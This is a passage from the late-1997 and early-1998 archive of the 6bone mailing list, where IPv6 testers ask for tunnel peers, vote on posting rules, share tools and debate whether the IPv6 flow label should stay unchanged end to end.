Content-Transfer-Encoding: quoted-printable

Greetings!!!
 =

This is my first message to the list and i hope it's not out of scope.

We have installed IPv6 software in some of our machines (and even put
the httpd to work) but we would really like to connect to the 6 bone in
order to try this new protocol, we are currently working in an
DNS for our IPv6 machines, and we expect it to be ready for our
connection to the 6Bone.

We would really apretiate anyone who could be on the other side of a
tunnel, we are in Mexico (in the National Autonomous University of
M=E9xico) and our international connections emerge in Texas (if someone
wants to know by witch company an the precise organization i would be
happy to tell you).

Since there seems to be no one in M=E9xico already with IPv6 i really
don=B4t know who would be the most appropiate point to send the tunnel to=
,
so, at least for a start, we can connect to anyone willing to. And in
the future, as IPv6 Users begin to appear en M=E9xico, form a more
appropiate structure.

Thanks in advance: Daniel Sol Llaven

Bolo Lacertus: lacertus@servidor.dgsca.unam.mx			=3D=3D~\___\
http://132.248.71.81/cgi-bin/lacertus/hola			 =3D__vvvv
-----BEGIN GEEK CODE BLOCK-----
Version: 3.1
GCS/GE/GED d>d? s:+ a-- C++>+++$ US++ P+++>++++$ L E? W++>+++ N+ o? K- =

w--- O !M V- PS+ PE->-- Y+ PGP+ t+ 5? X- R@ tv-- b++>- DI+ D+ G+>++
e+>++ =

h* r-(*) z+ =

------END GEEK CODE BLOCK------
--------------A1848F04B0FED88BFE1481FA
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Message-ID: <349174C0.6179C43C@servidor.dgsca.unam.mx>
Date: Fri, 12 Dec 1997 11:30:40 -0600
From: Bolo Lacertus <lacertus@servidor.dgsca.unam.mx>
Organization: Coordinacion de Prospeccion y Coordinacion
X-Mailer: Mozilla 4.03 [en] (X11; I; IRIX 6.3 IP32)
MIME-Version: 1.0
To: Lista 6Bone <6bone@ISI.EDU>
Subject: First Message
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Greetings!!!

Thi is my first message to the list and i hope it's not out of scope.

We have installed IPv6 software in some of our machines (and even put
the httpd to work) but we would really like to connect to the 6 bone in
order to really try this new protocol, we are currently working in an
DNS for our IPv6 machines, and we expect it to be ready for our
connection to the 6Bone.

We would relly appretiate anyone who could be on the other side of a
tunnel, we are in Mexico (in the National Autonomous University of
M=E9xico) and our international connections emerge in Texas (if someone
wants to know by witch company an the precise organization i would be
happy to tell you).

Thnaks in advance: Daniel Sol Llaven
-- =

Bolo Lacertus: lacertus@servidor.dgsca.unam.mx			=3D=3D~\___\
http://132.248.71.81/cgi-bin/lacertus/hola			 =3D__vvvv
-----BEGIN GEEK CODE BLOCK-----
Version: 3.1
GCS/GE/GED d>d? s:+ a-- C++>+++$ US++ P+++>++++$ L E? W++>+++ N+ o? K- =

w--- O !M V- PS+ PE->-- Y+ PGP+ t+ 5? X- R@ tv-- b++>- DI+ D+ G+>++
e+>++ =

h* r-(*) z+ =

------END GEEK CODE BLOCK------


--------------A1848F04B0FED88BFE1481FA--


From 6bone-owner  Mon Dec 22 14:37:50 1997
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From: "Adam Fleming"<Adam_Fleming@notes.ntrs.com>
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I live in Chicago, USA. According to the 6bone backbone site list, I should
hook up to either CICNET/US-IL or MREN/US-IL. How would I actually contact
the organization to request connectivity?


Adam



From 6bone-owner  Mon Dec 22 15:22:03 1997
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To: Adam Fleming <Adam_Fleming@notes.ntrs.com>
Cc: 6bone@ISI.EDU
From: "Matt Crawford" <crawdad@fnal.gov>
In-reply-to: Your message of Mon, 22 Dec 1997 16:35:46 CST.
             <86256575.007B84F9.00@chi-g02.ntrs.com> 
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> I live in Chicago, USA. According to the 6bone backbone site list, I should
> hook up to either CICNET/US-IL or MREN/US-IL. How would I actually contact
> the organization to request connectivity?

For CICNET, look them up in whois, or get their 6bone entry through
the 6bone home page.

For MREN, you just did.  Tell me privately how your site is connected
to the internet.
___________________________________________________________________
Matt Crawford               crawdad@fnal.gov               Fermilab
PGP2 0x566F63C5 - D5 27 83 7A 25 25 7D FB   09 3C BA 33 71 C4 DA 6A
PGP5 0xC175B1C3 - 74AC 501A 450B F479 C2AF 03B0 7BA5 F5B1 1D6E 65C1



From 6bone-owner  Tue Dec 23 03:51:27 1997
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From: bmanning@ISI.EDU
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So list members, here is one more chance to voice your concerns
over a policy issue.   Please let me (not the list) know if you
would like me to remove the current restriction on posting.

The 6bone list has been moved to majordomo.
The "normal" configuration here is to restrict
postings to list members.  One group (WIDE) is 
asking for that restriction to be removed.

You have three choices:

	Yes - remove the restriction
	No  - keep the restriction
	No Response - Keep the restriction.

There are 877 subscribers to this list.  I'll take comments/votes 
for the next two weeks and will post the results (and make the changes, if any)
to the list on 06 Jan 1998.  I would like at least a 10% response.

Thanks for your time


> To: Kazu@Mew.org (Kazu Yamamoto)
> Date: Mon, 22 Dec 1997 08:20:07 -0800 (PST)
> Cc: bmanning@ISI.EDU, RLFink@lbl.gov
> In-Reply-To: <19971222180018L.kazu@Mew.org> from "Kazu Yamamoto" at Dec 22, 97 06:00:18 pm
> > 
> > WIDE project created 6bone-jp@wide.ad.jp for those who live in
> > Japan(including non-WIDE members). We will subscribe this ml to
> > 6bone@isi.edu.
> > 
> > One problem is that members of 6bone-jp cannot post to 6bone@isi.edu
> > if they are subscribed to 6bone-jp only. May I ask you to remove the
> > limitation of 6bone@isi.edu so that the members of 6bone-jp can post
> > to 6bone?
> > 
> > --Kazu, WIDE Project
> > 
> 
> Due to the prevalence of individuals who will abuse mailing lists by posting
> off topic discussion, we have restricted the 6bone such that only those
> whom are members may post.  What you are asking for is a removal of this
> restriction, which will allow all list members to be regaled with
> off topic and in-appropriate mailings.   If this is really what you desire,
> I will ask the list membership if they are willing to tolerate this 
> behaviour.  If the answer to both questions is in the affirmative, I'll
> remove the restriction.
> 
> --bill



-- bill
"When in doubt, Twirl..."  -anon

From 6bone-owner  Tue Dec 23 07:46:49 1997
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From: Craig Labovitz <labovit@merit.edu>
To: 6bone@ISI.EDU
cc: masaki@merit.edu, labovit@merit.edu
Subject: new tool prototypes -- routing/topology analysis
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Hi,

We've modified some of our IPv4 routing stability/topology analysis tools for 
use with IPv6 and the 6Bone.

The tools receive a real-time feed from our 6Bone routers (running MRTd and 
using the built-in statistics collection services), and display maps of AS 
topology, IPv6 instability during the day, and provides access to the 6Bone 
"default-free" routing table.

See http://www.merit.edu/ipma/asexplorer/, or more generally 
http://www.merit.edu/ipma/tools.

The tools are pretty primitive and of somewhat limited functionality. Still, 
some of the data is a bit interesting -- we're seeing many of the same 
pathological behaviors with IPv6 routing as we do with IPv4 (repeated, 
duplicate withdraws and announcements, frequency components, etc.)

- Craig

-- 
Craig Labovitz				labovit@merit.edu
Merit Network, Inc.			http://www.merit.edu/~labovit
4251 Plymouth  Road, Suite C.		(313) 764-0252 (office)
Ann Arbor, MI 48105-2785                (313) 647-3185 (fax)



From 6bone-owner  Tue Dec 23 18:02:41 1997
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Date: Tue, 23 Dec 1997 18:02:24 -0800 (PST)
From: Ryan Smith-Roberts <rsr@lab.net>
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Please keep the restriction of member-only postings.

-- 
\/\ | Ryan Smith-Roberts <rsr@lab.net> | finger 4 PGP
/\/ | "Consistency requires you to be as ignorant
\/\ | today as you were a year ago." -Bernard Berenson
  51BD 5149 992E F3AC BB82  6BC9 6253 74BA 71E3 078E


From 6bone-owner  Fri Dec 26 20:26:58 1997
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Date: Fri, 26 Dec 1997 23:26:53 -0500
From: "Dorian R. Kim" <dorian@blackrose.org>
To: Adam Fleming <Adam_Fleming@notes.ntrs.com>
Cc: 6bone@ISI.EDU
Subject: Re: your mail
References: <86256575.007B84F9.00@chi-g02.ntrs.com>
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On Mon, Dec 22, 1997 at 04:35:46PM -0600, Adam Fleming wrote:
> 
> I live in Chicago, USA. According to the 6bone backbone site list, I should
> hook up to either CICNET/US-IL or MREN/US-IL. How would I actually contact
> the organization to request connectivity?

I'd be happy to provide you with a tunnel. It's up to you between CICNET
and MREN. I'd advise you to go with the one with better unicast connectivity.

This is my path to you:

Tracing the route to web1.ntrs.com (192.77.161.7)
 
  1 dgf-ether3-1-0.chicago.iagnet.net (131.103.1.53) 32 msec 28 msec 52 msec
  2 bordercore3-hssi0-0.WillowSprings.mci.net (166.48.33.249) 24 msec 32 msec 36 msec
  3 core3.NorthRoyalton.mci.net (204.70.9.25) 28 msec 136 msec 72 msec
  4 206.157.77.14 36 msec 56 msec 80 msec
  5 206.157.77.11 124 msec 72 msec 64 msec
  6 h14-1.t24-0.Chicago.t3.ans.net (140.223.25.29) 60 msec 72 msec 40 msec
  7 f0.cnss28.Chicago.t3.ans.net (140.222.27.193) 32 msec 60 msec 52 msec
  8 enss206.t3.ans.net (192.103.62.134) 56 msec 40 msec 60 msec
  9 web1.ntrs.com (192.77.161.7) 68 msec 64 msec 68 msec

-dorian

From 6bone-owner  Tue Dec 30 11:02:07 1997
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Date: Tue, 30 Dec 1997 12:59:46 -0600
Subject: ipv6 stack for Windows NT 4.0
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Does anyone know of an ipv6 stack for Windows NT 4.0?



From 6bone-owner  Mon Jan  5 13:07:19 1998
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 5 Jan 1998 16:05:54 EST
Date: Mon, 05 Jan 1998 15:53:19 -0500 (EST)
From: Darrell Newcomb <DRN8937@ritvax.isc.rit.edu>
Subject: RFC1883 and ipv6 spec v2
To: 6bone@ISI.EDU
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Upon reading both Flow Label sections from RFC 1883 and
draft-ietf-ipngwg-ipv6-spec-v2-01.txt I wonder about a few points.

1) From my understanding the Flow Labels, once assigned by the originating
node, will remain the same.  This represents a very interesting problem for
backbone routers, 20-bit's is not very much address space and a backbone router
could foreseeably encounter two Flow Labels equal randomly generated by two
different hosts.

Upon discussing this with a friend.  We decided that if the label is changed by
the router after each hop, that the 20-bits for the label would be enough. 
Providing (number of routers)^20th or even more if the Flow Label Table was
done on a per interface basis.

2) A rogue user could easily setup millions of flows to use up this space.

3) Is the Flow Label supposed to be used in conjuction with the Hop-by-Hop
routing options?

Thanks, Darrell Newcomb

From 6bone-owner  Mon Jan  5 14:12:37 1998
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To: Darrell Newcomb <DRN8937@ritvax.isc.rit.edu>
From: Deukyoon Kang <dykang@snad.ncsl.nist.gov>
Subject: Re: RFC1883 and ipv6 spec v2
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At 03:53 PM 1/5/98 -0500, you wrote:
>Upon reading both Flow Label sections from RFC 1883 and
>draft-ietf-ipngwg-ipv6-spec-v2-01.txt I wonder about a few points.
>
>1) From my understanding the Flow Labels, once assigned by the originating
>node, will remain the same.  This represents a very interesting problem for
>backbone routers, 20-bit's is not very much address space and a backbone
router
>could foreseeably encounter two Flow Labels equal randomly generated by two
>different hosts.
>
>Upon discussing this with a friend.  We decided that if the label is
changed by
>the router after each hop, that the 20-bits for the label would be enough. 
>Providing (number of routers)^20th or even more if the Flow Label Table was
>done on a per interface basis.
>
>2) A rogue user could easily setup millions of flows to use up this space.
>
>3) Is the Flow Label supposed to be used in conjuction with the Hop-by-Hop
>routing options?
>
>Thanks, Darrell Newcomb
>
>

1) from my understanding, the flow labels shall remain the same from a
source node to a destination. yes, there's possiblity that two flows from
different hosts may be assigned the same flow labels. however, note that a
flow is identified uniquely by the combination of its source address and
flow label. 
	the idea of you and your friend was implemented in ATM switching. but it
requires either manual configuration of routers on the path from a source
to a destination or a signalling protocol. i guess that ipv6 desingers
hated both of ways. :)

2) yes. it's a possible scenario. but that kind of abnormal users could be
easily(?) tracked down if some security mechanism is enforced for the use
of the flow labels such as IP authentication header.

3) yes or not. it's up to you.

deukyoon.



From 6bone-owner  Mon Jan  5 14:45:34 1998
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Date: Mon, 5 Jan 1998 14:43:50 -0800
To: Darrell Newcomb <DRN8937@ritvax.isc.rit.edu>
From: Steve Deering <deering@cisco.com>
Subject: Re: RFC1883 and ipv6 spec v2
Cc: 6bone@ISI.EDU
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At 12:53 PM -0800 1/5/98, Darrell Newcomb wrote:
> 1) From my understanding the Flow Labels, once assigned by the originating
> node, will remain the same.  This represents a very interesting problem for
> backbone routers, 20-bit's is not very much address space and a backbone
> router could foreseeably encounter two Flow Labels equal randomly generated
> by two different hosts.

The intent is that routers identify flows by the concatenation of the source
address and the flow label, not by the flow label alone.  The requirement
for random selection of flow labels by source nodes is *not* to avoid
duplicate flow labels, but rather to allow any subset of the bits of a flow
label to serve as a pre-computed hash key for more efficient look-up of the
set of possible matching flows.

> Upon discussing this with a friend.  We decided that if the label is changed
> by the router after each hop, that the 20-bits for the label would be
>enough.
> Providing (number of routers)^20th or even more if the Flow Label Table was
> done on a per interface basis.

Yes, there has been some sporadic discussion in the past about redefining some
or all of the flow label space to be used in a hop-by-hop manner, rather than
end-to-end, but the only written-down proposal for such a change expired from
the internet-drafts directories a long time ago.  If the WG receives a solid
proposal for a change of flow label semantics (including addressing the
problem of flow-label allocation to multicast flows across multi-access links),
we will give it serious consideration.  The weasel words at the beginning
of the Flow Labels section of the IPv6 spec are intended to leave open the
possiblity of such changes.

> 3) Is the Flow Label supposed to be used in conjuction with the Hop-by-Hop
> routing options?

The Flow Label is intended to be used with or without any extensions headers.
(However, there aren't any "Hop-by-Hop routing options" defined at present;
the Routing header is not a Hop-by-Hop option.)

Steve



From 6bone-owner  Tue Jan  6 11:22:34 1998
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From: bmanning@ISI.EDU
Posted-Date: Tue, 6 Jan 1998 11:21:06 -0800 (PST)
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Subject: day minus one
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>So list members, here is one more chance to voice your concerns
>over a policy issue.   Please let me (not the list) know if you
>would like me to remove the current restriction on posting.
>
>The 6bone list has been moved to majordomo.
>The "normal" configuration here is to restrict
>postings to list members.  One group (WIDE) is 
>asking for that restriction to be removed.
>
>You have three choices:
>
>        Yes - remove the restriction
>        No  - keep the restriction
>        No Response - Keep the restriction.
>
>There are 877 subscribers to this list.  I'll take comments/votes 
>for the next two weeks and will post the results (and make the changes, if any)
>to the list on 06 Jan 1998.  I would like at least a 10% response.

------------------------------------------------------

51 votes to retain the members-only restriction
10 votes to remove the members-only restriction
 
2 of the yes votes were conditional, to remove the restriction
only until we can agree on a way to handle exception lists, then
re-instate the members only restriction

One yes and one no vote asked for how much non-list releated
mail had been blocked.  The answer is 6 postings since the 
restriction was placed in early december of 1997.

Four folks indicated that there might be fairly easy ways
to include an exception list.  My concern with this is
that if I do this for WIDE, I'll be asked to do it for
other groups as well.  If I do implement an exception list,
it will be a single list that all groups will be added to.

For now, I'll leave the list restricted to members-only for
posting while I review how to add exception list processing.

-- 
"When in doubt, Twirl..."  -anon

From 6bone-owner  Tue Jan  6 13:50:50 1998
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Date: Tue, 6 Jan 1998 13:50:44 -0800
To: bmanning@ISI.EDU
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: day minus one
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Bill,

Thanks for taking the time to take a vote, and to look into the exception
list issue.

Yet again, it's hard working volunteers that make the Internet what it is :-)


Thanks,

Bob


=====================================================
At 11:21 AM -0800 1/6/98, bmanning@ISI.EDU wrote:
>>So list members, here is one more chance to voice your concerns
>>over a policy issue.   Please let me (not the list) know if you
>>would like me to remove the current restriction on posting.
>>
>>The 6bone list has been moved to majordomo.
>>The "normal" configuration here is to restrict
>>postings to list members.  One group (WIDE) is
>>asking for that restriction to be removed.
>>
>>You have three choices:
>>
>>        Yes - remove the restriction
>>        No  - keep the restriction
>>        No Response - Keep the restriction.
>>
>>There are 877 subscribers to this list.  I'll take comments/votes
>>for the next two weeks and will post the results (and make the changes,
>>if any)
>>to the list on 06 Jan 1998.  I would like at least a 10% response.
>
>------------------------------------------------------
>
>51 votes to retain the members-only restriction
>10 votes to remove the members-only restriction
>
>2 of the yes votes were conditional, to remove the restriction
>only until we can agree on a way to handle exception lists, then
>re-instate the members only restriction
>
>One yes and one no vote asked for how much non-list releated
>mail had been blocked.  The answer is 6 postings since the
>restriction was placed in early december of 1997.
>
>Four folks indicated that there might be fairly easy ways
>to include an exception list.  My concern with this is
>that if I do this for WIDE, I'll be asked to do it for
>other groups as well.  If I do implement an exception list,
>it will be a single list that all groups will be added to.
>
>For now, I'll leave the list restricted to members-only for
>posting while I review how to add exception list processing.
>
>--
>"When in doubt, Twirl..."  -anon




From 6bone-owner  Wed Jan  7 03:09:40 1998
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Message-ID: <34B361E8.63DE@london.virgin.net>
Date: Wed, 07 Jan 1998 11:07:20 +0000
From: Gavin Starks <gavin@london.virgin.net>
Organization: Virgin Net
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Hi,

Is there any chance of automatically prepending a descriptor string
(e.g. [6bone]) to the subject field of postings? This would make it much
more easy to identify them in high volume mailboxes...

Thanks
-Gavin.

From 6bone-owner  Wed Jan  7 06:45:41 1998
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Date: Wed, 7 Jan 1998 15:52:02 +0100 (MET)
From: Erik Bertelsen <erik@sockdev.uni-c.dk>
To: Gavin Starks <gavin@london.virgin.net>
Cc: 6bone@ISI.EDU
Subject: Re: admin question
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On Wed, 7 Jan 1998, Gavin Starks wrote:

.. Is there any chance of automatically prepending a descriptor string
.. (e.g. [6bone]) to the subject field of postings? This would make it much
.. more easy to identify them in high volume mailboxes...

Please don't !

For all those people who filter incoming mail into different inboxes
for different mailing lists (using e.g. procmail or filter), this only
adds non-informative noice to the screen display.

regards
Erik Bertelsen, UNI-C


From 6bone-owner  Wed Jan  7 07:55:10 1998
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Message-ID: <19980107155429.25644.qmail@nova.noris.de>
Subject: Re: admin question
To: gavin@london.virgin.net (Gavin Starks)
Date: 	Wed, 7 Jan 1998 16:54:28 +0100 (Funky)
From: "Matthias Urlichs" <smurf@noris.de>
Cc: 6bone@ISI.EDU
In-Reply-To: <34B361E8.63DE@london.virgin.net> from "Gavin Starks" at Jan 7, 98 11:07:20 am
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Hi,
>Is there any chance of automatically prepending a descriptor string
>(e.g. [6bone]) to the subject field of postings? This would make it much
>more easy to identify them in high volume mailboxes...

Please don't. The real solution is to use procmail (or similar) filtering
to put the stuff into its own dedicated folder, or into an internal
newsgroup.

-- 
Matthias Urlichs
noris network GmbH

From 6bone-owner  Wed Jan  7 11:03:32 1998
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Date: Wed, 07 Jan 1998 19:01:32 +0000
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ok ok ok, enough already...

I think I've had enough responses about this!
It was only a suggestion :)

-Gavin.

From 6bone-owner  Wed Jan  7 15:05:02 1998
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Subject: Re: new tool prototypes -- routing/topology analysis
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Craig,

I've added a pointer for the Merit IPMA tools page to the 6bone tools page.

	http://www.6bone.net/6bone_tools.html


Thanks,

Bob



From 6bone-owner  Thu Jan  8 07:09:46 1998
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Date: Thu, 8 Jan 1998 07:09:40 -0800
To: peter@bieringer.de
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: new tool prototypes -- routing/topology analysis
Cc: 6bone@ISI.EDU (6BONE Mailer)
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Peter,

At 12:36 AM -0800 1/8/98, Peter Bieringer wrote:
>At 15:05 07.01.98 -0800, you wrote:
>>Craig,
>>
>>I've added a pointer for the Merit IPMA tools page to the 6bone tools page.
>>
>>	http://www.6bone.net/6bone_tools.html
>
>But what's about removing following link or displaying a warning:
>
>Ben's IPv6 test address generation tool
>     Ben Kirkpatrick's tool for automatically generating an IPv6 test
>addresses.
>
>It' a little bit out of date...

I've removed the link to Ben's tool for address generation as it is still
in the old format.

	http://www.ibs-us.net/ipv6/ipv6-addr.html

Maybe he can get around to updating it, then I'll add it back in.


Thanks for letting me know.

Bob



From 6bone-owner  Thu Jan  8 11:38:00 1998
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Date: Thu, 08 Jan 1998 14:37:50 -0500
From: Jimmy Kyriannis <jimmy.kyriannis@nyu.edu>
Subject: Re: admin question
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I simply use the "Sender: owner-6bone@ISI.EDU" header to identify my 6bone
mail.  I use the Eudora mail client, which can filter a message based on a
header (among other things) and then perform and action if that filter
matches, such as filing in a specific mailbox.  Other mail clients/UNIX
utilities should be able to do the same.


Jimmy

At 10:54 AM -0500 1/7/98, Matthias Urlichs wrote:
>Hi,
>>Is there any chance of automatically prepending a descriptor string
>>(e.g. [6bone]) to the subject field of postings? This would make it much
>>more easy to identify them in high volume mailboxes...
>
>Please don't. The real solution is to use procmail (or similar) filtering
>to put the stuff into its own dedicated folder, or into an internal
>newsgroup.
>
>--
>Matthias Urlichs
>noris network GmbH




From 6bone-owner  Thu Jan  8 11:55:10 1998
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Date: Thu, 8 Jan 1998 17:55:09 -0200 (EDT)
From: "Adailton J. Santos Silva" <adailton@na-cp.rnp.br>
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Hello Bob,

I spoke with you about the inclusion of the Brazilian Research Network (or
RNP - Rede Nacional de Pesquisa, in portuguese) in the 6Bone, during the
Munich and Washington IETF meetings.

The RNP (http://www.rnp.br) is a Brazilian federal governmental
instituition responsible for Internet access for nations´s universities
and scientific and technological instituitions. 

The National Research Network (english translation) is an Internet Service
Provider that manage the Brazilian Internet backbone
(http://www.rnp.br/1.3.bone.html) for academical services and act as an
ISP for others ISPs. 

The RNP wish to join to the 6Bone and start IPv6 network. As soon as
possible, we intend to extend Brazilian IPv6 (Brazilian 6Bone) network to
others RNP's Points of Presence. 

We have six E1 links to MCI/Washington, one E1 to MCI/Boston and one E1 to
MCI/Florida. 

Now we are looking for the best peer (in Washington?) to implement our
IPv6 connectivity tunnel. Are there any volunteer? 

Thanks in advance,

Adailton Silva
Brasilian Research Network
Phone: +55 19 788-3210
Fax: +55 19 788-3214
E-mail: adailton@na-cp.rnp.br


From 6bone-owner  Fri Jan  9 06:38:11 1998
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From: "Mosthav, Marc (IT Man.)" <MOSTHAVM@plcman.siemens.co.uk>
To: "'Linux Netdev'" <netdev@nuclecu.unam.mx>, "'6Bone List'" <6bone@ISI.EDU>
Subject: TCP Wrappers for IPv6
Date: Fri, 9 Jan 1998 14:39:46 -0000
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Hi all,

I ported the package tcp wrappers 7.6 to IPv6 under Linux, in order to
give me the possibility
to use hosts.allow and hosts.deny. Peter Bieringer was kind enough to
put it on his
FTP server. It can be found at:

ftp://ftp.bieringer.de/pub/linux/IPv6/tcp-wrapper/tcp_wrapper_7.6+ipv6-1
.tar.gz

I hope somebody finds it usefull, but be aware, it's only a quick and
dirty hack.
If you find any bugs or have any ideas for improvements please let me
know

Regards,

Marc Mosthav

From 6bone-owner  Fri Jan  9 08:47:05 1998
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From: "Mosthav, Marc (IT Man.)" <MOSTHAVM@plcman.siemens.co.uk>
To: "'6Bone List'" <6bone@ISI.EDU>, "'Linux Netdev'" <netdev@nuclecu.unam.mx>
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Hi all,

I have send this before, but my computer crashed during transmission. So
just in case it
got lost:
I ported the package tcp wrappers 7.6 to IPv6 under Linux, in order to
give me the possibility
to use hosts.allow and hosts.deny. Peter Bieringer was kind enough to
put it on his
FTP server. It can be found at:

ftp://ftp.bieringer.de/pub/linux/IPv6/tcp-wrapper/tcp_wrapper_7.6+ipv6-1
.tar.gz

I hope somebody finds it usefull, but be aware, it's only a quick and
dirty hack.
If you find any bugs or have any ideas for improvements please let me
know

Regards,

Marc Mosthav

From 6bone-owner  Sun Jan 11 09:40:45 1998
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To: Steve Deering <deering@Cisco.COM>
Cc: Darrell Newcomb <DRN8937@ritvax.isc.rit.edu>, 6bone@ISI.EDU
Subject: Re: RFC1883 and ipv6 spec v2 
In-Reply-To: Your message of "Mon, 05 Jan 1998 14:43:50 PST."
             <v03110705b0d70d77dca3@[171.69.199.124]> 
Date: Sun, 11 Jan 1998 12:38:56 -0500
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Steve,

>> Upon discussing this with a friend.  We decided that if the label is changed
>> by the router after each hop, that the 20-bits for the label would be
>>enough.
>> Providing (number of routers)^20th or even more if the Flow Label Table was
>> done on a per interface basis.

>Yes, there has been some sporadic discussion in the past about redefining some
>or all of the flow label space to be used in a hop-by-hop manner, rather than
>end-to-end, but the only written-down proposal for such a change expired from
>the internet-drafts directories a long time ago.  If the WG receives a solid
>proposal for a change of flow label semantics (including addressing the
>problem of flow-label allocation to multicast flows across multi-access links),
>we will give it serious consideration.  The weasel words at the beginning
>of the Flow Labels section of the IPv6 spec are intended to leave open the
>possiblity of such changes.

I think your statement here may create an objection from me regarding
your base spec (RFC 1883) at last call, but let me check.

For IPv6 I am assuming that we will have an end-to-end flow in the IPv6
header.  Applications want this and the first use of this field has
validity in RSVP for IPv6.  I don't want to parse into the data portion
of a UDP or TCP packet to identify the flow for many reasons and one of
the drawbacks of RSVP for IPv4 and that its not part of the "standard"
socket data structure.

What do we need to do to guarantee the behavior of the flow label for
applications.  This cannot be a router / forwarding path only
consideration?

I would like to see this nailed down and committed to.

If you want IPv6 deployed widely soon we need to start telling ISVs they
can use this header field for what I speak of above, the first
incantations are RSVP for IPv6 but I believe many integrated services
for networking can use the field as defined now.

The other input is a very serious issue I bring forth here.  Most of all
vendor business revenue streams are from private enterprise we coin
Intranets NOT Internet.  I realize the confusion at present around
defining "differential services" and how "neat" it is for researchers to
speculate on what it may or may not do for IPv6.  But, we need to move
forward with IPv6 and the Flow Label field so we can start deployment of
IPv6.

I would like to see these weasel words fixed one way or the other for
the purposes I state above in the next version of the base spec.

Maybe you clarifying where you think things are will cause a productive
discussion of nailing this down.  The limbo state of a critical feature
of an IPv6 header part for deployment is unacceptable.  And sloth on our
part for not completing this attribute of IPv6.

/jim


From 6bone-owner  Sun Jan 11 11:04:07 1998
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Message-Id: <199801111856.VAA04175@ms2.inr.ac.ru>
Subject: Re: RFC1883 and ipv6 spec v2
To: bound@zk3.dec.com
Date: Sun, 11 Jan 1998 21:56:26 +0300 (MSK)
Cc: deering@Cisco.COM, DRN8937@ritvax.isc.rit.edu, 6bone@ISI.EDU
In-Reply-To: <199801111738.AA28632@wasted.zk3.dec.com> from "bound@zk3.dec.com" at Jan 11, 98 12:38:56 pm
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hello!

> I would like to see this nailed down and committed to.

Golden words! End-to-end flow label interpretation should be
declared "MUST" in RFCs. Look at Cisco tag switching!
They DO already assume, that they are allowed to mangle flow labels.
Maybe, it should be stressed specially that if someone wants
to override flow label while a packet passes through a cloud
with special policy he MUST restore original value upon exiting
from cloud or delivering packet to end host.

Otherwise, all the concept will be useless.

Alexey Kuznetsov

From 6bone-owner  Sun Jan 11 12:41:57 1998
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From: "A.N.Kuznetsov" <kuznet@ms2.inr.ac.ru>
Message-Id: <199801112034.XAA04290@ms2.inr.ac.ru>
Subject: Re: RFC1883 and ipv6 spec v2
To: sob@harvard.edu (Scott Bradner)
Date: Sun, 11 Jan 1998 23:34:16 +0300 (MSK)
Cc: bound@zk3.dec.com, 6bone@ISI.EDU, deering@Cisco.COM,
        DRN8937@ritvax.isc.rit.edu
In-Reply-To: <199801112009.PAA01770@newdev.harvard.edu> from "Scott Bradner" at Jan 11, 98 03:09:15 pm
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Hello!

> 1/ expensive to do - gotta stick the old flow ID somewhere in the meantime

Right. Hence, this practice will be automatically deprecated :-)

If flow labels will loose their end-to-end meaning at least
sometimes, they will be useless for rsvp. Is it correct? 

> 2/ the diff serv work (some of which is already being tested in the 
> field) may depend of the changability of some of the packet header at
> cloud (e.g. ISP) borders

I was not aware about diff serv work, but Cisco tag switching
can be made efficiently or by link layer (ATM) or by inserting
tag between ll header and network header (that is made for IPv4 in nay case).
Mangling flow label is not necessary at all.

Alexey Kuznetsov

From 6bone-owner  Mon Jan 12 01:52:12 1998
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Date: Mon, 12 Jan 1998 09:49:22 +0000
From: Brian E Carpenter <brian@hursley.ibm.com>
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Subject: Re: RFC1883 and ipv6 spec v2
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> 2/ the diff serv work (some of which is already being tested in the 
> field) may depend of the changability of some of the packet header at
> cloud (e.g. ISP) borders

I expect that diff serv will change the traffic class byte
on the fly but is unlikely to consider the flow ID at all.

It's clear that there are two camps on the flow ID - those who
believe it should be used for label switching, in which case
it changes on the fly, and those who believe it should be an
invariant. I agree we need a resolution of this but there are
arguments both ways. Anybody want to do the pro/con analysis?

  Brian Carpenter


From 6bone-owner  Mon Jan 12 06:58:48 1998
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To: 6bone@ISI.EDU
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: RFC1883 and ipv6 spec v2 
In-reply-to: Your message of Mon, 12 Jan 1998 09:49:22 GMT.
             <34B9E722.29F0@hursley.ibm.com> 
Date: Mon, 12 Jan 1998 08:58:43 -0600
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> It's clear that there are two camps on the flow ID - those who
> believe it should be used for label switching, in which case
> it changes on the fly, and those who believe it should be an
> invariant. I agree we need a resolution of this but there are
> arguments both ways. Anybody want to do the pro/con analysis?

For invariant: IPv4 will be around for a long while.  Using the IPv6
flow id for label switching buys nothing for IPv4.  Putting the label
at a lower layer (e.g., layer "2.5") works equally for all protocols.


			       *  *  *

Here's an efficiency hack, for free.  Include a byte in the lower
layer label which is initalized to the TTL or Hop Limit, decremented
at each label-switched hop (by having the outgoing label have a value
one less in that byte), and copied back to the TTL (with checksum
update) or HL field of the header when the packet is forwarded to a
non-label-switched link, or when an ICMP error is to be generated for
the packet.

From 6bone-owner  Mon Jan 12 07:10:03 1998
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Date: Mon, 12 Jan 1998 07:08:16 -0800
To: brian@hursley.ibm.com
From: Steve Deering <deering@cisco.com>
Subject: Re: RFC1883 and ipv6 spec v2
Cc: 6bone@ISI.EDU
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At 1:49 AM -0800 1/12/98, Brian E Carpenter wrote:
> It's clear that there are two camps on the flow ID...
> Anybody want to do the pro/con analysis?

I'll give it a try this evening -- I'm traveling and attending meetings
until then.

Steve




From 6bone-owner  Mon Jan 12 07:45:26 1998
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        DRN8937@ritvax.isc.rit.edu
Subject: Re: RFC1883 and ipv6 spec v2 
In-Reply-To: Your message of "Sun, 11 Jan 1998 15:40:15 EST."
             <199801112040.PAA01807@newdev.harvard.edu> 
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>the basic question being addressed by the diffserv effort is the
>best way to provide different qualities of Internet service in diferent
>environments - RSVP is just the right answer for some types of QoS
>problems but may not be the best way to deal with others.

I agree.  To stress my point further.

I can deploy IPv6 within XYZ Motors Intranet and use RSVP and IPv6
flow label to define a QOS strategy that will permit Warren MI to
Engineering Workstation running UNIX flavor "Finite Element Analysis"
application to accept multiple streams a) from Arizona Test Bed and b)
from Rochester Design Center at a higher priority than other packets on
the XYZ private internet.  The MCAD engineers packet never touches the
"Internet" its pure private enterprise and this can be done with RSVP
and I believe today with IPv6, if we as vendors can get some gurantee of
what bits we can count on for IPv6 Flow Label.  

But if the MCAD engineer wants to get a part from Ireland and to do that
must go through ISP and possibly over the Internet then the gurantees of
